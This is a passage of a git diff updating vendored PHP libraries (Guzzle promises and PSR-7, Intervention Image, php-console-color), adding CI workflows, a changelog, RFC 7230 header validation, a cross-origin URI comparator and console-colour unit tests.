## License Guzzle is made available under the MIT License (MIT). Please see [License File](LICENSE) for more information. + ## For Enterprise Available as part of the Tidelift Subscription diff --git a/vendor/guzzlehttp/promises/composer.json b/vendor/guzzlehttp/promises/composer.json index c959fb32..966e3e3a 100644 --- a/vendor/guzzlehttp/promises/composer.json +++ b/vendor/guzzlehttp/promises/composer.json @@ -46,11 +46,6 @@ "test": "vendor/bin/simple-phpunit", "test-ci": "vendor/bin/simple-phpunit --coverage-text" }, - "extra": { - "branch-alias": { - "dev-master": "1.5-dev" - } - }, "config": { "preferred-install": "dist", "sort-packages": true diff --git a/vendor/guzzlehttp/promises/src/Each.php b/vendor/guzzlehttp/promises/src/Each.php index 1dda3549..ff8efd73 100644 --- a/vendor/guzzlehttp/promises/src/Each.php +++ b/vendor/guzzlehttp/promises/src/Each.php @@ -78,7 +78,7 @@ public static function ofLimitAll( $concurrency, callable $onFulfilled = null ) { - return each_limit( + return self::ofLimit( $iterable, $concurrency, $onFulfilled, diff --git a/vendor/guzzlehttp/promises/src/EachPromise.php b/vendor/guzzlehttp/promises/src/EachPromise.php index 38ecb59b..280d7995 100644 --- a/vendor/guzzlehttp/promises/src/EachPromise.php +++ b/vendor/guzzlehttp/promises/src/EachPromise.php @@ -81,16 +81,8 @@ public function promise() $this->iterable->rewind(); $this->refillPending(); } catch (\Throwable $e) { - /** - * @psalm-suppress NullReference - * @phpstan-ignore-next-line - */ $this->aggregate->reject($e); } catch (\Exception $e) { - /** - * @psalm-suppress NullReference - * @phpstan-ignore-next-line - */ $this->aggregate->reject($e); } diff --git a/vendor/guzzlehttp/promises/src/Utils.php b/vendor/guzzlehttp/promises/src/Utils.php index 8647126d..e3761883 100644 --- a/vendor/guzzlehttp/promises/src/Utils.php +++ b/vendor/guzzlehttp/promises/src/Utils.php @@ -107,7 +107,7 @@ public static function inspectAll($promises) { $results = []; foreach ($promises as $key => $promise) { - $results[$key] = inspect($promise); + $results[$key] = self::inspect($promise); } return $results; diff --git a/vendor/guzzlehttp/psr7/.github/FUNDING.yml b/vendor/guzzlehttp/psr7/.github/FUNDING.yml new file mode 100644 index 00000000..7d222c58 --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/FUNDING.yml @@ -0,0 +1,2 @@ +github: [Nyholm, GrahamCampbell] +tidelift: "packagist/guzzlehttp/psr7" diff --git a/vendor/guzzlehttp/psr7/.github/stale.yml b/vendor/guzzlehttp/psr7/.github/stale.yml new file mode 100644 index 00000000..53faa71b --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/stale.yml @@ -0,0 +1,14 @@ +daysUntilStale: 120 +daysUntilClose: 14 +exemptLabels: + - lifecycle/keep-open + - lifecycle/ready-for-merge +# Label to use when marking an issue as stale +staleLabel: lifecycle/stale +# Comment to post when marking an issue as stale. Set to `false` to disable +markComment: > + This issue has been automatically marked as stale because it has not had + recent activity. It will be closed after 2 weeks if no further activity occurs. Thank you + for your contributions. +# Comment to post when closing a stale issue. Set to `false` to disable +closeComment: false diff --git a/vendor/guzzlehttp/psr7/.github/workflows/ci.yml b/vendor/guzzlehttp/psr7/.github/workflows/ci.yml new file mode 100644 index 00000000..0850470e --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/workflows/ci.yml @@ -0,0 +1,30 @@ +name: CI + +on: + pull_request: + +jobs: + build: + name: Build + runs-on: ubuntu-22.04 + strategy: + max-parallel: 10 + matrix: + php: ['5.5', '5.6', '7.0', '7.1', '7.2', '7.3', '7.4', '8.0', '8.1'] + + steps: + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php }} + coverage: 'none' + extensions: mbstring + + - name: Checkout code + uses: actions/checkout@v3 + + - name: Install dependencies + run: composer update --no-interaction --no-progress + + - name: Run tests + run: make test diff --git a/vendor/guzzlehttp/psr7/.github/workflows/integration.yml b/vendor/guzzlehttp/psr7/.github/workflows/integration.yml new file mode 100644 index 00000000..a55a256e --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/workflows/integration.yml @@ -0,0 +1,36 @@ +name: Integration + +on: + pull_request: + +jobs: + build: + name: Test + runs-on: ubuntu-22.04 + strategy: + max-parallel: 10 + matrix: + php: ['7.2', '7.3', '7.4', '8.0', '8.1'] + + steps: + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php }} + coverage: none + + - name: Checkout code + uses: actions/checkout@v3 + + - name: Download dependencies + uses: ramsey/composer-install@v1 + with: + composer-options: --no-interaction --optimize-autoloader + + - name: Start server + run: php -S 127.0.0.1:10002 tests/Integration/server.php & + + - name: Run tests + env: + TEST_SERVER: 127.0.0.1:10002 + run: ./vendor/bin/phpunit --testsuite Integration diff --git a/vendor/guzzlehttp/psr7/.github/workflows/static.yml b/vendor/guzzlehttp/psr7/.github/workflows/static.yml new file mode 100644 index 00000000..f00351b6 --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/workflows/static.yml @@ -0,0 +1,29 @@ +name: Static analysis + +on: + pull_request: + +jobs: + php-cs-fixer: + name: PHP-CS-Fixer + runs-on: ubuntu-22.04 + + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + coverage: none + extensions: mbstring + + - name: Download dependencies + run: composer update --no-interaction --no-progress + + - name: Download PHP CS Fixer + run: composer require "friendsofphp/php-cs-fixer:2.18.4" + + - name: Execute PHP CS Fixer + run: vendor/bin/php-cs-fixer fix --diff-format udiff --dry-run diff --git a/vendor/guzzlehttp/psr7/.php_cs.dist b/vendor/guzzlehttp/psr7/.php_cs.dist new file mode 100644 index 00000000..e4f0bd53 --- /dev/null +++ b/vendor/guzzlehttp/psr7/.php_cs.dist @@ -0,0 +1,56 @@ +setRiskyAllowed(true) + ->setRules([ + '@PSR2' => true, + 'array_syntax' => ['syntax' => 'short'], + 'concat_space' => ['spacing' => 'one'], + 'declare_strict_types' => false, + 'final_static_access' => true, + 'fully_qualified_strict_types' => true, + 'header_comment' => false, + 'is_null' => ['use_yoda_style' => true], + 'list_syntax' => ['syntax' => 'long'], + 'lowercase_cast' => true, + 'magic_method_casing' => true, + 'modernize_types_casting' => true, + 'multiline_comment_opening_closing' => true, + 'no_alias_functions' => true, + 'no_alternative_syntax' => true, + 'no_blank_lines_after_phpdoc' => true, + 'no_empty_comment' => true, + 'no_empty_phpdoc' => true, + 'no_empty_statement' => true, + 'no_extra_blank_lines' => true, + 'no_leading_import_slash' => true, + 'no_trailing_comma_in_singleline_array' => true, + 'no_unset_cast' => true, + 'no_unused_imports' => true, + 'no_whitespace_in_blank_line' => true, + 'ordered_imports' => true, + 'php_unit_ordered_covers' => true, + 'php_unit_test_annotation' => ['style' => 'prefix'], + 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], + 'phpdoc_align' => ['align' => 'vertical'], + 'phpdoc_no_useless_inheritdoc' => true, + 'phpdoc_scalar' => true, + 'phpdoc_separation' => true, + 'phpdoc_single_line_var_spacing' => true, + 'phpdoc_trim' => true, + 'phpdoc_trim_consecutive_blank_line_separation' => true, + 'phpdoc_types' => true, + 'phpdoc_types_order' => ['null_adjustment' => 'always_last', 'sort_algorithm' => 'none'], + 'phpdoc_var_without_name' => true, + 'single_trait_insert_per_statement' => true, + 'standardize_not_equals' => true, + ]) + ->setFinder( + PhpCsFixer\Finder::create() + ->in(__DIR__.'/src') + ->in(__DIR__.'/tests') + ->name('*.php') + ) +; + +return $config; diff --git a/vendor/guzzlehttp/psr7/CHANGELOG.md b/vendor/guzzlehttp/psr7/CHANGELOG.md new file mode 100644 index 00000000..9b2b65cd --- /dev/null +++ b/vendor/guzzlehttp/psr7/CHANGELOG.md @@ -0,0 +1,324 @@ +# Change Log + + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## Unreleased + +## 1.9.1 - 2023-04-17 + +### Fixed + +- Fixed header validation issue + +## 1.9.0 - 2022-06-20 + +### Added + +- Added `UriComparator::isCrossOrigin` method + +## 1.8.5 - 2022-03-20 + +### Fixed + +- Correct header value validation + +## 1.8.4 - 2022-03-20 + +### Fixed + +- Validate header values properly + +## 1.8.3 - 2021-10-05 + +### Fixed + +- Return `null` in caching stream size if remote size is `null` + +## 1.8.2 - 2021-04-26 + +### Fixed + +- Handle possibly unset `url` in `stream_get_meta_data` + +## 1.8.1 - 2021-03-21 + +### Fixed + +- Issue parsing IPv6 URLs +- Issue modifying ServerRequest lost all its attributes + +## 1.8.0 - 2021-03-21 + +### Added + +- Locale independent URL parsing +- Most classes got a `@final` annotation to prepare for 2.0 + +### Fixed + +- Issue when creating stream from `php://input` and curl-ext is not installed +- Broken `Utils::tryFopen()` on PHP 8 + +## 1.7.0 - 2020-09-30 + +### Added + +- Replaced functions by static methods + +### Fixed + +- Converting a non-seekable stream to a string +- Handle multiple Set-Cookie correctly +- Ignore array keys in header values when merging +- Allow multibyte characters to be parsed in `Message:bodySummary()` + +### Changed + +- Restored partial HHVM 3 support + + +## [1.6.1] - 2019-07-02 + +### Fixed + +- Accept null and bool header values again + + +## [1.6.0] - 2019-06-30 + +### Added + +- Allowed version `^3.0` of `ralouphie/getallheaders` dependency (#244) +- Added MIME type for WEBP image format (#246) +- Added more validation of values according to PSR-7 and RFC standards, e.g. status code range (#250, #272) + +### Changed + +- Tests don't pass with HHVM 4.0, so HHVM support got dropped. Other libraries like composer have done the same. (#262) +- Accept port number 0 to be valid (#270) + +### Fixed + +- Fixed subsequent reads from `php://input` in ServerRequest (#247) +- Fixed readable/writable detection for certain stream modes (#248) +- Fixed encoding of special characters in the `userInfo` component of an URI (#253) + + +## [1.5.2] - 2018-12-04 + +### Fixed + +- Check body size when getting the message summary + + +## [1.5.1] - 2018-12-04 + +### Fixed + +- Get the summary of a body only if it is readable + + +## [1.5.0] - 2018-12-03 + +### Added + +- Response first-line to response string exception (fixes #145) +- A test for #129 behavior +- `get_message_body_summary` function in order to get the message summary +- `3gp` and `mkv` mime types + +### Changed + +- Clarify exception message when stream is detached + +### Deprecated + +- Deprecated parsing folded header lines as per RFC 7230 + +### Fixed + +- Fix `AppendStream::detach` to not close streams +- `InflateStream` preserves `isSeekable` attribute of the underlying stream +- `ServerRequest::getUriFromGlobals` to support URLs in query parameters + + +Several other fixes and improvements. + + +## [1.4.2] - 2017-03-20 + +### Fixed + +- Reverted BC break to `Uri::resolve` and `Uri::removeDotSegments` by removing + calls to `trigger_error` when deprecated methods are invoked. + + +## [1.4.1] - 2017-02-27 + +### Added + +- Rriggering of silenced deprecation warnings. + +### Fixed + +- Reverted BC break by reintroducing behavior to automagically fix a URI with a + relative path and an authority by adding a leading slash to the path. It's only + deprecated now. + + +## [1.4.0] - 2017-02-21 + +### Added + +- Added common URI utility methods based on RFC 3986 (see documentation in the readme): + - `Uri::isDefaultPort` + - `Uri::isAbsolute` + - `Uri::isNetworkPathReference` + - `Uri::isAbsolutePathReference` + - `Uri::isRelativePathReference` + - `Uri::isSameDocumentReference` + - `Uri::composeComponents` + - `UriNormalizer::normalize` + - `UriNormalizer::isEquivalent` + - `UriResolver::relativize` + +### Changed + +- Ensure `ServerRequest::getUriFromGlobals` returns a URI in absolute form. +- Allow `parse_response` to parse a response without delimiting space and reason. +- Ensure each URI modification results in a valid URI according to PSR-7 discussions. + Invalid modifications will throw an exception instead of returning a wrong URI or + doing some magic. + - `(new Uri)->withPath('foo')->withHost('example.com')` will throw an exception + because the path of a URI with an authority must start with a slash "/" or be empty + - `(new Uri())->withScheme('http')` will return `'http://localhost'` + +### Deprecated + +- `Uri::resolve` in favor of `UriResolver::resolve` +- `Uri::removeDotSegments` in favor of `UriResolver::removeDotSegments` + +### Fixed + +- `Stream::read` when length parameter <= 0. +- `copy_to_stream` reads bytes in chunks instead of `maxLen` into memory. +- `ServerRequest::getUriFromGlobals` when `Host` header contains port. +- Compatibility of URIs with `file` scheme and empty host. + + +## [1.3.1] - 2016-06-25 + +### Fixed + +- `Uri::__toString` for network path references, e.g. `//example.org`. +- Missing lowercase normalization for host. +- Handling of URI components in case they are `'0'` in a lot of places, + e.g. as a user info password. +- `Uri::withAddedHeader` to correctly merge headers with different case. +- Trimming of header values in `Uri::withAddedHeader`. Header values may + be surrounded by whitespace which should be ignored according to RFC 7230 + Section 3.2.4. This does not apply to header names. +- `Uri::withAddedHeader` with an array of header values. +- `Uri::resolve` when base path has no slash and handling of fragment. +- Handling of encoding in `Uri::with(out)QueryValue` so one can pass the + key/value both in encoded as well as decoded form to those methods. This is + consistent with withPath, withQuery etc. +- `ServerRequest::withoutAttribute` when attribute value is null. + + +## [1.3.0] - 2016-04-13 + +### Added + +- Remaining interfaces needed for full PSR7 compatibility + (ServerRequestInterface, UploadedFileInterface, etc.). +- Support for stream_for from scalars. + +### Changed + +- Can now extend Uri. + +### Fixed +- A bug in validating request methods by making it more permissive. + + +## [1.2.3] - 2016-02-18 + +### Fixed + +- Support in `GuzzleHttp\Psr7\CachingStream` for seeking forward on remote + streams, which can sometimes return fewer bytes than requested with `fread`. +- Handling of gzipped responses with FNAME headers. + + +## [1.2.2] - 2016-01-22 + +### Added + +- Support for URIs without any authority. +- Support for HTTP 451 'Unavailable For Legal Reasons.' +- Support for using '0' as a filename. +- Support for including non-standard ports in Host headers. + + +## [1.2.1] - 2015-11-02 + +### Changes + +- Now supporting negative offsets when seeking to SEEK_END. + + +## [1.2.0] - 2015-08-15 + +### Changed + +- Body as `"0"` is now properly added to a response. +- Now allowing forward seeking in CachingStream. +- Now properly parsing HTTP requests that contain proxy targets in + `parse_request`. +- functions.php is now conditionally required. +- user-info is no longer dropped when resolving URIs. + + +## [1.1.0] - 2015-06-24 + +### Changed + +- URIs can now be relative. +- `multipart/form-data` headers are now overridden case-insensitively. +- URI paths no longer encode the following characters because they are allowed + in URIs: "(", ")", "*", "!", "'" +- A port is no longer added to a URI when the scheme is missing and no port is + present. + + +## 1.0.0 - 2015-05-19 + +Initial release. + +Currently unsupported: + +- `Psr\Http\Message\ServerRequestInterface` +- `Psr\Http\Message\UploadedFileInterface` + + + +[1.6.0]: https://github.com/guzzle/psr7/compare/1.5.2...1.6.0 +[1.5.2]: https://github.com/guzzle/psr7/compare/1.5.1...1.5.2 +[1.5.1]: https://github.com/guzzle/psr7/compare/1.5.0...1.5.1 +[1.5.0]: https://github.com/guzzle/psr7/compare/1.4.2...1.5.0 +[1.4.2]: https://github.com/guzzle/psr7/compare/1.4.1...1.4.2 +[1.4.1]: https://github.com/guzzle/psr7/compare/1.4.0...1.4.1 +[1.4.0]: https://github.com/guzzle/psr7/compare/1.3.1...1.4.0 +[1.3.1]: https://github.com/guzzle/psr7/compare/1.3.0...1.3.1 +[1.3.0]: https://github.com/guzzle/psr7/compare/1.2.3...1.3.0 +[1.2.3]: https://github.com/guzzle/psr7/compare/1.2.2...1.2.3 +[1.2.2]: https://github.com/guzzle/psr7/compare/1.2.1...1.2.2 +[1.2.1]: https://github.com/guzzle/psr7/compare/1.2.0...1.2.1 +[1.2.0]: https://github.com/guzzle/psr7/compare/1.1.0...1.2.0 +[1.1.0]: https://github.com/guzzle/psr7/compare/1.0.0...1.1.0 diff --git a/vendor/guzzlehttp/psr7/README.md b/vendor/guzzlehttp/psr7/README.md index 464cae4f..64776cb6 100644 --- a/vendor/guzzlehttp/psr7/README.md +++ b/vendor/guzzlehttp/psr7/README.md @@ -1,6 +1,6 @@ # PSR-7 Message Implementation -This repository contains a full [PSR-7](http://www.php-fig.org/psr/psr-7/) +This repository contains a full [PSR-7](https://www.php-fig.org/psr/psr-7/) message implementation, several stream decorators, and some helpful functionality like query string parsing. @@ -659,7 +659,7 @@ manually but instead is used indirectly via `Psr\Http\Message\UriInterface::__to `public static function fromParts(array $parts): UriInterface` -Creates a URI from a hash of [`parse_url`](http://php.net/manual/en/function.parse-url.php) components. +Creates a URI from a hash of [`parse_url`](https://www.php.net/manual/en/function.parse-url.php) components. ### `GuzzleHttp\Psr7\Uri::withQueryValue` @@ -684,6 +684,16 @@ associative array of key => value. Creates a new URI with a specific query string value removed. Any existing query string values that exactly match the provided key are removed. +## Cross-Origin Detection + +`GuzzleHttp\Psr7\UriComparator` provides methods to determine if a modified URL should be considered cross-origin. + +### `GuzzleHttp\Psr7\UriComparator::isCrossOrigin` + +`public static function isCrossOrigin(UriInterface $original, UriInterface $modified): bool` + +Determines if a modified URL should be considered cross-origin with respect to an original URL. + ## Reference Resolution `GuzzleHttp\Psr7\UriResolver` provides methods to resolve a URI reference in the context of a base URI according @@ -809,14 +819,24 @@ This of course assumes they will be resolved against the same base URI. If this equivalence or difference of relative references does not mean anything. +## Version Guidance + +| Version | Status | PHP Version | +|---------|----------------|------------------| +| 1.x | Security fixes | >=5.4,<8.1 | +| 2.x | Latest | ^7.2.5 \|\| ^8.0 | + + ## Security If you discover a security vulnerability within this package, please send an email to security@tidelift.com. All security vulnerabilities will be promptly addressed. Please do not disclose security-related issues publicly until a fix has been announced. Please see [Security Policy](https://github.com/guzzle/psr7/security/policy) for more information. + ## License Guzzle is made available under the MIT License (MIT). Please see [License File](LICENSE) for more information. + ## For Enterprise Available as part of the Tidelift Subscription diff --git a/vendor/guzzlehttp/psr7/composer.json b/vendor/guzzlehttp/psr7/composer.json index bfa7cfdc..2607f22d 100644 --- a/vendor/guzzlehttp/psr7/composer.json +++ b/vendor/guzzlehttp/psr7/composer.json @@ -61,13 +61,11 @@ "GuzzleHttp\\Tests\\Psr7\\": "tests/" } }, - "extra": { - "branch-alias": { - "dev-master": "1.7-dev" - } - }, "config": { "preferred-install": "dist", - "sort-packages": true + "sort-packages": true, + "allow-plugins": { + "bamarni/composer-bin-plugin": true + } } } diff --git a/vendor/guzzlehttp/psr7/src/MessageTrait.php b/vendor/guzzlehttp/psr7/src/MessageTrait.php index 99203bb4..0bbd63e0 100644 --- a/vendor/guzzlehttp/psr7/src/MessageTrait.php +++ b/vendor/guzzlehttp/psr7/src/MessageTrait.php @@ -157,17 +157,22 @@ private function setHeaders(array $headers) } } + /** + * @param mixed $value + * + * @return string[] + */ private function normalizeHeaderValue($value) { if (!is_array($value)) { - return $this->trimHeaderValues([$value]); + return $this->trimAndValidateHeaderValues([$value]); } if (count($value) === 0) { throw new \InvalidArgumentException('Header value can not be an empty array.'); } - return $this->trimHeaderValues($value); + return $this->trimAndValidateHeaderValues($value); } /** @@ -178,13 +183,13 @@ private function normalizeHeaderValue($value) * header-field = field-name ":" OWS field-value OWS * OWS = *( SP / HTAB ) * - * @param string[] $values Header values + * @param mixed[] $values Header values * * @return string[] Trimmed header values * * @see https://tools.ietf.org/html/rfc7230#section-3.2.4 */ - private function trimHeaderValues(array $values) + private function trimAndValidateHeaderValues(array $values) { return array_map(function ($value) { if (!is_scalar($value) && null !== $value) { @@ -194,10 +199,20 @@ private function trimHeaderValues(array $values) )); } - return trim((string) $value, " \t"); + $trimmed = trim((string) $value, " \t"); + $this->assertValue($trimmed); + + return $trimmed; }, array_values($values)); } + /** + * @see https://tools.ietf.org/html/rfc7230#section-3.2 + * + * @param mixed $header + * + * @return void + */ private function assertHeader($header) { if (!is_string($header)) { @@ -210,5 +225,45 @@ private function assertHeader($header) if ($header === '') { throw new \InvalidArgumentException('Header name can not be empty.'); } + + if (! preg_match('/^[a-zA-Z0-9\'`#$%&*+.^_|~!-]+$/D', $header)) { + throw new \InvalidArgumentException( + sprintf('"%s" is not valid header name.', $header) + ); + } + } + + /** + * @param string $value + * + * @return void + * + * @see https://tools.ietf.org/html/rfc7230#section-3.2 + * + * field-value = *( field-content / obs-fold ) + * field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ] + * field-vchar = VCHAR / obs-text + * VCHAR = %x21-7E + * obs-text = %x80-FF + * obs-fold = CRLF 1*( SP / HTAB ) + */ + private function assertValue($value) + { + // The regular expression intentionally does not support the obs-fold production, because as + // per RFC 7230#3.2.4: + // + // A sender MUST NOT generate a message that includes + // line folding (i.e., that has any field-value that contains a match to + // the obs-fold rule) unless the message is intended for packaging + // within the message/http media type. + // + // Clients must not send a request with line folding and a server sending folded headers is + // likely very rare. Line folding is a fairly obscure feature of HTTP/1.1 and thus not accepting + // folding is not likely to break any legitimate use case. + if (! preg_match('/^[\x20\x09\x21-\x7E\x80-\xFF]*$/D', $value)) { + throw new \InvalidArgumentException( + sprintf('"%s" is not valid header value.', $value) + ); + } } } diff --git a/vendor/guzzlehttp/psr7/src/UriComparator.php b/vendor/guzzlehttp/psr7/src/UriComparator.php new file mode 100644 index 00000000..ccf51ffb --- /dev/null +++ b/vendor/guzzlehttp/psr7/src/UriComparator.php @@ -0,0 +1,55 @@ +getHost(), $modified->getHost()) !== 0) { + return true; + } + + if ($original->getScheme() !== $modified->getScheme()) { + return true; + } + + if (self::computePort($original) !== self::computePort($modified)) { + return true; + } + + return false; + } + + /** + * @return int + */ + private static function computePort(UriInterface $uri) + { + $port = $uri->getPort(); + + if (null !== $port) { + return $port; + } + + return 'https' === $uri->getScheme() ? 443 : 80; + } + + private function __construct() + { + // cannot be instantiated + } +} diff --git a/vendor/intervention/image/composer.json b/vendor/intervention/image/composer.json index e750b406..6d4d360b 100644 --- a/vendor/intervention/image/composer.json +++ b/vendor/intervention/image/composer.json @@ -7,8 +7,8 @@ "authors": [ { "name": "Oliver Vogel", - "email": "oliver@olivervogel.com", - "homepage": "http://olivervogel.com/" + "email": "oliver@intervention.io", + "homepage": "https://intervention.io/" } ], "require": { diff --git a/vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php b/vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php index 743cc5c3..e51d4da3 100644 --- a/vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php +++ b/vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php @@ -71,7 +71,7 @@ public function initFromUrl($url) 'method'=>"GET", 'protocol_version'=>1.1, // force use HTTP 1.1 for service mesh environment with envoy 'header'=>"Accept-language: en\r\n". - "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2\r\n" + "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\r\n" ] ]; diff --git a/vendor/intervention/image/src/Intervention/Image/Gd/Commands/ResizeCommand.php b/vendor/intervention/image/src/Intervention/Image/Gd/Commands/ResizeCommand.php index 382d9709..e8ef7c75 100644 --- a/vendor/intervention/image/src/Intervention/Image/Gd/Commands/ResizeCommand.php +++ b/vendor/intervention/image/src/Intervention/Image/Gd/Commands/ResizeCommand.php @@ -44,7 +44,7 @@ public function execute($image) protected function modify($image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h) { // create new image - $modified = imagecreatetruecolor($dst_w, $dst_h); + $modified = imagecreatetruecolor(intval($dst_w), intval($dst_h)); // get current image $resource = $image->getCore(); @@ -70,8 +70,8 @@ protected function modify($image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h $dst_y, $src_x, $src_y, - $dst_w, - $dst_h, + intval($dst_w), + intval($dst_h), $src_w, $src_h ); diff --git a/vendor/intervention/image/src/Intervention/Image/Image.php b/vendor/intervention/image/src/Intervention/Image/Image.php index 7d5a59b7..3b26ea2a 100644 --- a/vendor/intervention/image/src/Intervention/Image/Image.php +++ b/vendor/intervention/image/src/Intervention/Image/Image.php @@ -13,7 +13,7 @@ * @method \Intervention\Image\Image brightness(int $level) Changes the brightness of the current image by the given level. Use values between -100 for min. brightness. 0 for no change and +100 for max. brightness. * @method \Intervention\Image\Image cache(\Closure $callback, int $lifetime = null, boolean $returnObj = false) Method to create a new cached image instance from a Closure callback. Pass a lifetime in minutes for the callback and decide whether you want to get an Intervention Image instance as return value or just receive the image stream. * @method \Intervention\Image\Image canvas(int $width, int $height, mixed $bgcolor = null) Factory method to create a new empty image instance with given width and height. You can define a background-color optionally. By default the canvas background is transparent. - * @method \Intervention\Image\Image circle(int $radius, int $x, int $y, \Closure $callback = null) Draw a circle at given x, y, coordinates with given radius. You can define the appearance of the circle by an optional closure callback. + * @method \Intervention\Image\Image circle(int $diameter, int $x, int $y, \Closure $callback = null) Draw a circle at given x, y, coordinates with given diameter. You can define the appearance of the circle by an optional closure callback. * @method \Intervention\Image\Image colorize(int $red, int $green, int $blue) Change the RGB color values of the current image on the given channels red, green and blue. The input values are normalized so you have to include parameters from 100 for maximum color value. 0 for no change and -100 to take out all the certain color on the image. * @method \Intervention\Image\Image contrast(int $level) Changes the contrast of the current image by the given level. Use values between -100 for min. contrast 0 for no change and +100 for max. contrast. * @method \Intervention\Image\Image crop(int $width, int $height, int $x = null, int $y = null) Cut out a rectangular part of the current image with given width and height. Define optional x,y coordinates to move the top-left corner of the cutout to a certain position. diff --git a/vendor/intervention/image/src/Intervention/Image/ImageServiceProviderLaravel4.php b/vendor/intervention/image/src/Intervention/Image/ImageServiceProviderLaravel4.php old mode 100644 new mode 100755 diff --git a/vendor/intervention/image/src/Intervention/Image/Imagick/Color.php b/vendor/intervention/image/src/Intervention/Image/Imagick/Color.php index a41ff3a6..1e109b17 100644 --- a/vendor/intervention/image/src/Intervention/Image/Imagick/Color.php +++ b/vendor/intervention/image/src/Intervention/Image/Imagick/Color.php @@ -265,7 +265,7 @@ public function getPixel() } /** - * Calculates RGA integer alpha value into float value + * Calculates RGBA integer alpha value into float value * * @param int $value * @return float diff --git a/vendor/intervention/image/src/Intervention/Image/Imagick/Commands/PixelateCommand.php b/vendor/intervention/image/src/Intervention/Image/Imagick/Commands/PixelateCommand.php index 6fe79491..66a3205d 100644 --- a/vendor/intervention/image/src/Intervention/Image/Imagick/Commands/PixelateCommand.php +++ b/vendor/intervention/image/src/Intervention/Image/Imagick/Commands/PixelateCommand.php @@ -19,7 +19,7 @@ public function execute($image) $width = $image->getWidth(); $height = $image->getHeight(); - $image->getCore()->scaleImage(max(1, ($width / $size)), max(1, ($height / $size))); + $image->getCore()->scaleImage(max(1, intval($width / $size)), max(1, intval($height / $size))); $image->getCore()->scaleImage($width, $height); return true; diff --git a/vendor/intervention/image/src/Intervention/Image/Size.php b/vendor/intervention/image/src/Intervention/Image/Size.php index f8b6dc8e..b1f26e40 100644 --- a/vendor/intervention/image/src/Intervention/Image/Size.php +++ b/vendor/intervention/image/src/Intervention/Image/Size.php @@ -71,7 +71,7 @@ public function setPivot(Point $point) */ public function getWidth() { - return $this->width; + return intval($this->width); } /** @@ -81,7 +81,7 @@ public function getWidth() */ public function getHeight() { - return $this->height; + return intval($this->height); } /** diff --git a/vendor/jakub-onderka/php-console-color/.travis.yml b/vendor/jakub-onderka/php-console-color/.travis.yml new file mode 100644 index 00000000..49175a99 --- /dev/null +++ b/vendor/jakub-onderka/php-console-color/.travis.yml @@ -0,0 +1,24 @@ +language: php + +php: + - 5.4 + - 5.5 + - 5.6 + - 7.0 + - 7.1 + - 7.2 + +sudo: false + +cache: + directories: + - vendor + - $HOME/.composer/cache + +before_script: + - composer install --no-interaction --prefer-source + +script: + - ant phplint + - ant phpcs + - ant phpunit diff --git a/vendor/jakub-onderka/php-console-color/phpunit.xml b/vendor/jakub-onderka/php-console-color/phpunit.xml new file mode 100644 index 00000000..f1105cc4 --- /dev/null +++ b/vendor/jakub-onderka/php-console-color/phpunit.xml @@ -0,0 +1,16 @@ + + + + + tests + + + + + + + vendor + + + diff --git a/vendor/jakub-onderka/php-console-color/tests/ConsoleColorTest.php b/vendor/jakub-onderka/php-console-color/tests/ConsoleColorTest.php new file mode 100644 index 00000000..aaa1a224 --- /dev/null +++ b/vendor/jakub-onderka/php-console-color/tests/ConsoleColorTest.php @@ -0,0 +1,184 @@ +isSupportedForce = $isSupported; + } + + public function isSupported() + { + return $this->isSupportedForce; + } + + public function setAre256ColorsSupported($are256ColorsSupported) + { + $this->are256ColorsSupportedForce = $are256ColorsSupported; + } + + public function are256ColorsSupported() + { + return $this->are256ColorsSupportedForce; + } +} + +class ConsoleColorTest extends \PHPUnit_Framework_TestCase +{ + /** @var ConsoleColorWithForceSupport */ + private $uut; + + protected function setUp() + { + $this->uut = new ConsoleColorWithForceSupport(); + } + + public function testNone() + { + $output = $this->uut->apply('none', 'text'); + $this->assertEquals("text", $output); + } + + public function testBold() + { + $output = $this->uut->apply('bold', 'text'); + $this->assertEquals("\033[1mtext\033[0m", $output); + } + + public function testBoldColorsAreNotSupported() + { + $this->uut->setIsSupported(false); + + $output = $this->uut->apply('bold', 'text'); + $this->assertEquals("text", $output); + } + + public function testBoldColorsAreNotSupportedButAreForced() + { + $this->uut->setIsSupported(false); + $this->uut->setForceStyle(true); + + $output = $this->uut->apply('bold', 'text'); + $this->assertEquals("\033[1mtext\033[0m", $output); + } + + public function testDark() + { + $output = $this->uut->apply('dark', 'text'); + $this->assertEquals("\033[2mtext\033[0m", $output); + } + + public function testBoldAndDark() + { + $output = $this->uut->apply(array('bold', 'dark'), 'text'); + $this->assertEquals("\033[1;2mtext\033[0m", $output); + } + + public function test256ColorForeground() + { + $output = $this->uut->apply('color_255', 'text'); + $this->assertEquals("\033[38;5;255mtext\033[0m", $output); + } + + public function test256ColorWithoutSupport() + { + $this->uut->setAre256ColorsSupported(false); + + $output = $this->uut->apply('color_255', 'text'); + $this->assertEquals("text", $output); + } + + public function test256ColorBackground() + { + $output = $this->uut->apply('bg_color_255', 'text'); + $this->assertEquals("\033[48;5;255mtext\033[0m", $output); + } + + public function test256ColorForegroundAndBackground() + { + $output = $this->uut->apply(array('color_200', 'bg_color_255'), 'text'); + $this->assertEquals("\033[38;5;200;48;5;255mtext\033[0m", $output); + } + + 